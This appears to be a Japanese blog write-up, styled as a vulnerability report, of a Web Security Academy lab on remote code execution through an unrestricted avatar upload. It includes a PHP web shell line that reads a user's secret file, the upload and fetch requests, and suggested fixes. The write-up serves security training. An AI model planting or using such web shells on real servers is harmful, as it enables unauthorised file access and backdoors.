Shikata Ga Nai

Private? There is no such things.

Lab: Remote code execution via web shell uploadの脆弱性報告レポート

Hello there, ('ω')ノ

🛠 脆弱性報告レポート

タイトル: Remote Code Execution via Web Shell Upload


✅ 概要(Summary)

アバター画像アップロード機能にて、拡張子や Content-Type の検証が存在せず、.php ファイルのアップロードが可能となっている。これにより、アップロードされた PHP ファイルがそのままサーバ上で実行され、任意コード実行(RCE)が成立する。


🔁 再現手順(Steps)

  1. https://<LAB-ID>.web-security-academy.netwiener:peter でログイン

  2. 以下の内容で exploit.php を作成:

   <?php echo file_get_contents('/home/carlos/secret'); ?>
  1. 「My account」ページで「Upload avatar」から exploit.php をアップロード

  2. Burp にて以下を送信:

   GET /files/avatars/exploit.php HTTP/1.1
  1. レスポンスに carlos のシークレット値が表示される

📸 結果(Result)

  • アップロード応答Avatar image successfully updated
  • RCE 成功/home/carlos/secret の内容が表示される
POST /my-account/avatar
Content-Disposition: form-data; filename="exploit.php"
Content-Type: application/x-php
GET /files/avatars/exploit.php
→ 200 OK
→ secret: xxxxxxxxxxxxxxxx

🧾 期待挙動(Expected)

.php 等の実行ファイルは MIME・拡張子の両面で検査され、アップロードを拒否すべき。


⚠ 影響度(Impact)

  • サーバ上での 任意コード実行(RCE)
  • 機密ファイルの読み取り、バックドア設置など高リスク行動が可能
  • OWASP A05:2021 – Security Misconfiguration
  • CWE-434 – Unrestricted Upload of File with Dangerous Type

🛠 修正提案(Optional)

  • 拡張子のホワイトリスト化(.jpg, .png 等)
  • MIME タイプ検証を finfo_file() などで実ファイル基準に変更
  • /files/avatars/ ディレクトリを PHP 実行不可に設定
  • アップロード後に UUID へリネームし .jpg 拡張子を強制付与

Best regards, (^^ゞ